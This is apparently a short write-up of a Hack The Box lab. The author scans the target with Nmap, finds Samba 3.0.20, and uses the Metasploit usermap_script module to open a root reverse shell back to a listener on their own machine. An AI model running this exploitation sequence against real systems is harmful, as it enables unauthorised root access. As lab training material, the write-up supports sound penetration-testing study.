

Target IP Address
10.10.10.3

Adventure Mode

Technique:

1. First, I ran a basic Nmap scan to see which ports were open, and then performed a more advanced scan for detailed enumeration.

```
(kali@ kali)-[~/Desktop/HTB_academy/Labs]
$ nmap 10.10.10.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 18:54 EDT
Nmap scan report for 10.10.10.3
Host is up (0.074s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
```

```
(kali@kali)-[~/Desktop/HTB_academy/Labs]
$ nmap -sV 10.10.10.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 18:54 EDT
Nmap scan report for 10.10.10.3
Host is up (0.074s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
(kali® kali)-[~/Desktop/HTB_academy/Labs]
$ sudo nmap -sV -sC -A -p445 10.10.10.3
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-06 19:02 EDT
Nmap scan report for 10.10.10.3
Host is up (0.073s latency).

PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
```

2. After collecting information about all the services and their versions, I used Google to check each of them for known vulnerabilities.







3. Once vulnerabilities were identified, I tested all of them using Metasploit and successfully obtained a reverse shell through a vulnerability in smbd 3.0.20.

```
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.27:4444
[*] Command shell session 1 opened (10.10.14.27:4444 → 10.10.10.3:56953) at 2025-10-06 18:46:27 -0400
whoami
root
```

4. This vulnerability immediately granted me root privileges, so finding and capturing both flags took only a few minutes after gaining the shell.

